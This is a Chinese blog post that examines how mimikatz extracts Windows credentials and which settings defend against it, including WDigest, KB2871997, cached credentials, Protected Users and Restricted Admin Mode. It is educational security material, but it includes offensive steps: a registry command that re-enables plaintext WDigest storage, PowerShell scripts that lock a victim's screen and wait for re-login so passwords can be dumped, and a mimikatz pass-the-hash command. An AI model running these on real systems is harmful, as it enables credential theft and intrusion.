从mimikatz抓取密码学习攻防

前不久在使用mimikatz抓取hash的时候遇到了报错,本着追根溯源的原则去查看了mimikatz抓取密码的原理。在学习的过程中发现了mimikatz的每种报错都有不同的原因,本文就从mimikatz的防御角度出发来分析如何防御mimikatz抓取密码。

Debug Privilege

这里先放一个微软官方对调试权限的解释:

调试权限允许某人调试他们原本无权访问的进程。例如,以在其令牌上启用调试权限的用户身份运行的进程可以调试作为本地系统运行的服务。

调试权限是一种安全策略设置,允许用户将调试器附加到进程或内核。管理员可以修改用户组的安全策略以包含或删除此功能。正在调试自己的应用程序的开发人员不需要此用户权限。调试系统组件或调试远程组件的开发人员将需要此用户权限。此用户权限提供对敏感和关键操作系统组件的完全访问权限。默认情况下,为具有管理员权限的用户启用此属性。具有管理员权限的用户可以为其他用户组启用此属性。

在 windows⾥,调试权限可以⽤来调试进程,甚⾄是调试内核。对于 
mimikatz
 的工作原理必须要读取内存,那么只有它拥有了调试的权限才能去打开进程。所以
mimikatz
能抓取
hash
的一个必要条件拥有调试程序的权限。

默认情况下,本地管理员组是由这个权限的。但是,除非管理员是个程序员,⼀般他应该⽤不到这种权限,因为普通使用电脑的用户一般不会去调试程序。为什么
mimikatz
需要管理员权限才能够抓取
hash
也是这个原因,如果只是一个
user
权限就获得不了调试程序的权限。

本地安全策略是默认给管理员组权限的

从mimikatz抓取密码学习攻防

在组策略里面也是把调试程序这个权限给了管理员。这里提一个windows的效力位阶,默认情况下,多条策略略不不冲突的情况下,多条策略略是合并的关系;如果冲突的话,优先级高的适用,优先级从低到高分别为


local policy(本地)-> site policy(站点)->  domain policy(域)-> ou policy(组织单元)

那么这里在本地和组策略都为把这个权限给了管理员的情况下也不需要使用windows的效力位阶再去分配权限,即
Administrator
权限就能够调试程序

从mimikatz抓取密码学习攻防

这里在没有更改原始本地策略和组策略的情况下,使用
privilege::debug
提升权限是能够提权成功的

从mimikatz抓取密码学习攻防

但当我在组策略中将调试程序设为空,即任何权限都不能够调试程序的情况下再去尝试用
privilege::debug
提升权限

从mimikatz抓取密码学习攻防

发现已经报错,不能提升权限,根本原因就是因为
mimikatz
不能够获取调试权限则不能够提权

从mimikatz抓取密码学习攻防

WDigest

何为
WDigest
?

WDigest即摘要身份验证,摘要身份验证是一种质询/响应协议,主要在 Windows Server 2003 中用于 LDAP 和基于 Web 的身份验证。它利用超文本传输协议 (HTTP) 和简单身份验证安全层 (SASL) 交换进行身份验证。在较高级别上,客户端请求访问某些内容,身份验证服务器向客户端提出质询,客户端通过使用从密码派生的密钥对其响应进行加密来响应质询。将加密的响应与身份验证服务器上存储的响应进行比较,以确定用户是否具有正确的密码。


WDigest
有何作用?

Windows 安全审核应该是每个人的优先事项,了解您的端点的配置方式以及它们可能为恶意用户打开哪些门与保护任何环境都相关。这就是 WDigest 发挥作用的地方,与 WDigest 相关的事情是它以明文形式将密码存储在内存中。

如果恶意用户可以访问端点并能够运行像 Mimikatz 这样的工具,他们不仅可以获得当前存储在内存中的哈希值,而且还可以获得帐户的明文密码。这显然是一个问题,因为现在他们不仅能够利用像pass-the-hash这样的攻击,而且他们现在还可以使用用户名和密码来尝试登录 Exchange、内部网站等。

回到
WDigest

mimikatz
使用过程中的作用,我们知道
WDigest
利用
HTTP

SASL
进行身份验证,具体表现为把明文密码存在
lsass.exe
进程里通过
http
进行认证。这也衍生出了一个问题,一旦攻击者从中利用,就可以获得明文,所以
WDigest
明文传输是极其不安全的。所以在win2008之后的版本
WDigest
是默认不启用的,在win2008之前的版本虽然打开了
WDigest
,但是如果系统上安装了
KB2871997
补丁的话,也不能从中获得明文。

这里说到
KB2871997
补丁补充一个点,我们知道
KB2871997
这个补丁的作用就是关闭
WDigest Auth
,但是并不是完全关闭。因为某些系统服务(如IIS的SSO身份认证)就需要用到
WDigest Auth
,所以这里微软选择了一个折中的方法,让用户选择是否关闭
WDigest Auth
,安装补丁之后可以自己选择是否开启
WDigest Auth
,如果选择开启
WDigest Auth
的话还是会保存明文密码


KB2871997
对应的注册表键值为
UseLogonCredential


WDigest
的注册表位于


HKEY_LOCAL_MACHINESystemCurrentControlSetControlSecurityProvidersWDigest

这里首先看一下没有安装补丁的情况,可以看到这里是没有
UseLogonCredential
这个值的

从mimikatz抓取密码学习攻防

可以看到这里是抓取得到明文的

从mimikatz抓取密码学习攻防

这里我到微软官方下载一下补丁

从mimikatz抓取密码学习攻防

从mimikatz抓取密码学习攻防

安装完成后发现已经有了这个键值,再尝试用
mimikatz
抓取明文发现已经抓不到了

从mimikatz抓取密码学习攻防

这里如果要设置为能够重新用
WDigest
存储明文使用命令修改
UseLogonCredential
键值修改为1即可


reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

因为这里锁屏之后要注销后重启才能够抓到明文密码,但是我们在不知道明文的情况下就登陆不了,所以这里就需要考虑如下问题:



修改注册表
 
锁屏
 
进入循环,判断当前系统是否结束锁屏状态
 
用户登录后,跳出循环等待,立即导出明文口令并保存

所以这里需要实现以下几个步骤,这里因为本人水平有限,所以这个地方参考了三好学生大佬的powershell代码,这里向三好学生大佬表示衷心感谢

使用powershell实现注册表键值修改

修改键值为1



#!bash
Set-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 1

这里判断注册表键值是否为0,如果为1则等待10s再判断,如果为0则退出循环,可以用来监控注册表键值是否被修改



#!powershell
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
while($Flag -eq 1)
{
    write-host "[+]Flag Normal"
    write-host "[+]Wait 10 Seconds..."
    Start-Sleep -Seconds 10
    $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest" -Name "UseLogonCredential"
    $Flag=$key.UseLogonCredential
    write-host "[+]Checking Flag"
}
write-host "[!]Flag Changed!"

这里使用powershell脚本运行脚本,可以看到在没有修改的情况下是10s刷新一次


powershell.exe -ExecutionPolicy Bypass -File test.ps1

从mimikatz抓取密码学习攻防

在修改注册表为0之后脚本停止退出循环

从mimikatz抓取密码学习攻防

锁屏

正常情况下windows锁屏的快捷键是win+L,但是这里我们如果是在渗透的过程中就不能使用win+L对对方主机进行锁屏,这里就需要使用cmd命令来使对方主机锁屏

cmd命令如下:


rundll32.exe user32.dll,LockWorkStation

使用powershell实现:



#!powershell
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
 
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

powershell.exe -ExecutionPolicy Bypass -File test2.ps1

从mimikatz抓取密码学习攻防

判断锁屏状态

这里的思路是通过判断
GetForegroundWindow()
这个函数的返回值来确定是否锁屏。在锁屏状态下
GetForegroundWindow()
这个函数返回值为
NULL
,在非锁屏状态下
GetForegroundWindow()
这个函数返回值为非空。

循环判断当前是否为锁屏状态,如果不是锁屏状态,退出循环,否则循环等待



#!powershell
function local:Get-DelegateType {
  Param (
    [OutputType([Type])]
  [Parameter( Position = 0)]
  [Type[]]
  $Parameters = (New-Object Type[](0)),
    [Parameter( Position = 1 )]
  [Type]
  $ReturnType = [Void]
  )
    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')
 
    $TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
  Param (
    [OutputType([IntPtr])]
  [Parameter( Position = 0, Mandatory = $True )]
  [String]
  $Module,
    [Parameter( Position = 1, Mandatory = $True )]
  [String]
  $Procedure
    )
    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }
  $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
    $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()
 
 
write-host "[+]Checking Flag"
while($hWindow -eq 0)
{
  write-host "[+]LockScreen"
  write-host "[+]Wait 10 Seconds..."
  Start-Sleep -Seconds 10
  $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
  $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
  $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
  $hWindow = $GetForegroundWindow.Invoke()
  write-host "[+]Checking Flag"
 
}
write-host "[!]Got Screen!"

导出明文密码

在判断用户重新登录之后即可使用mimikatz导出明文密码,因为这里
UseLogonCredential
的值已经为1,能够导出明文密码

Credential Caching

何为
Credential Caching

Credntial Caching即凭证缓存。HTTP Server API 仅在用于 NTLM 身份验证的 Keep-Alive (KA) 连接上缓存凭据。默认情况下,HTTP Server API 缓存在 KA 连接上发送的第一个请求中获得的凭据。客户端可以在没有授权头的情况下在 KA 连接上发送后续请求,并根据之前建立的上下文获取身份验证。

在这种情况下,HTTP Server API 将基于缓存凭据的令牌发送到应用程序。代理发送的请求的凭据不会被缓存。应用程序通过在HTTP_SERVER_AUTHENTICATION_INFO 中设置DisableNTLMCredentialCaching标志来禁用 NTLM 凭据缓存在调用 HttpSetServerSessionProperty 或 HttpSetUrlGroupProperty 时提供的结构。当凭据缓存被禁用时,HTTP Server API 会丢弃缓存的凭据并为每个请求执行身份验证


Domain Cached Credentials
简称
DDC
,也叫
mscache
。有两个版本,XP/2003年代的叫第⼀代,Vasta/2008之后的是第⼆代。
DDC
的发明其实是
kerberos
的衍生,因为在
kerberos
协议中会有域成员暂时访问不到域控的情况出现,而
DDC
的发明就是为了方便域成员在访问不到域控的情况下诞生的。如果暂时访问不到域控的话,windows会尝试使用本机缓存的凭证进行认证,凭证在本机上默认缓存十条。

缓存的位置在(Administrator也不能够访问):


HKEY_LOCAL_MACHINESECURITYCache

默认情况下为缓存10条缓存

从mimikatz抓取密码学习攻防

这里首先尝试以下使用
mimikatz
抓取hash,是能够抓取到的

从mimikatz抓取密码学习攻防

再尝试把缓存次数改为0

从mimikatz抓取密码学习攻防

这里需要在域内的机器才能够完成实验,这里我换了一台在域内的win7系统。关掉域控再次登录时发现域成员已经限制不能够登录

从mimikatz抓取密码学习攻防

使用本地administrator帐号登陆上去提权到system,发现抓取不到hash

从mimikatz抓取密码学习攻防

Protected Users Group

受保护的用户组,可以用来像本地管理员这样的高权限用户只能通过
kerberos
来认证。这个受保护的用户组是在win2012之后引进的一个安全组(win2008及以前的系统在安装了
KB2871997
补丁之后也会增加这个安全组)。这个安全组的设置就是为了防止明文存储在内存中和ntlm hash的泄露,原因大概是因为通过
kerberos
认证会更安全。加入的方法也比较简单,只需要把需要保护的用户添加进这个受保护的用户组即可。

从mimikatz抓取密码学习攻防

Restricted Admin Mode

何为
Restricted Admin Mode

Restricted Admin Mode即受限管理员模式。最初为 Windows 8.1 和 Server 2012 R2 引入(win2008及之前的版本需要KB2871997、KB2973351补丁),受限管理模式是一项 Windows 功能,可防止将 RDP 用户的凭据存储在建立 RDP 连接的计算机的内存中。实际上,这将防止用户(通常是管理员)在 RDP 进入受感染主机后从内存中读取他们的凭据。

为防止凭据存储在远程计算机上,受限管理员更改了远程桌面协议,使其使用网络登录而不是交互式登录进行身份验证。有了这种保护,建立 RDP 会话将不需要提供关联的密码;相反,用户的 NTLM Hash 或 Kerberos 票证将用于身份验证。

客户端和服务器的受限管理员已向后 移植 到 Windows 7 和 Server 2008,但在大多数标准 Windows 版本上默认情况下仍处于禁用状态,这是由于围绕其使用的一些注意事项。


Restricted Admin Mode
的使用需要客户端和服务端相互配合,在服务端开启需要在注册表中添加如下键值


REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

这里查看下客户端版本是否为
rdp 8.1

首先管

从mimikatz抓取密码学习攻防

理员模式可以用当前登录凭证进行登录

从mimikatz抓取密码学习攻防

使用
mimikatz
进行
hash传递


sekurlsa::pth /user:<username> /domain:<comptername or ip> /ntlm: <ntlm hash> "/run:mstsc.exe /restrictedadmin"

从mimikatz抓取密码学习攻防

连接成功

从mimikatz抓取密码学习攻防

Summary

本来在研究的时候我以为是
KB2871997
这个补丁直接限制了pass hash,但是在阅读许多大佬文章后发现,
KB2871997
并不能直接限制pass hash,而是通过几种措施限制:



1、 支持“ProtectedUsers”组;
 
2、 Restricted Admin RDP模式的远程桌面客户端支持;
 
3、 注销后删除LSASS中的凭据;
 
4、 添加两个新的SID;
 
5、 LSASS中只允许wdigest存储明文密码。

其中1、2、5三点在之前都已经提到过这里就不继续延伸了,这里主要说一下3、4两点

首先是第3点,在注销后删除LSASS中的凭据,在更新之前,只要用户登录系统,Windows就会在lsass中缓存用户的凭据,包括用户的明文密码、LM/NTLM HASH、Kerberos的TGT票据、SessionKey

再就是第4点,在补丁中会添加两个新的SID,分别为S-1-5-113、S-1-5-114



本地帐户,LOCAL_ACCOUNT(S-1-5-113),所有本地帐户继承自此SID;
 
本地帐户和管理组成员,LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114),所有管理员组的本地用户继承此SID。

S-1-5-114这里在中文操作系统中提供的翻译是“NTAUTHORITY本地帐户和管理员组成员”,但实际上是“所有本地Administrators组中的本地帐户”,即域用户即使被加入到了本地Administrators组也不继承此SID。

这个SID对于限制横向渗透的远程连接并没有任何实质的作用,它的主要作用是更方便的防止通过网络使用本地帐户登录。对于防御人员来说我们可以通过将这两个SID对应的组加入组策略中的下列选项,从而限制攻击者能够从外部访问本地系统/服务:



拒绝从网络访问这台计算机
 
拒绝通过远程桌面服务登录
© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
none
暂无评论...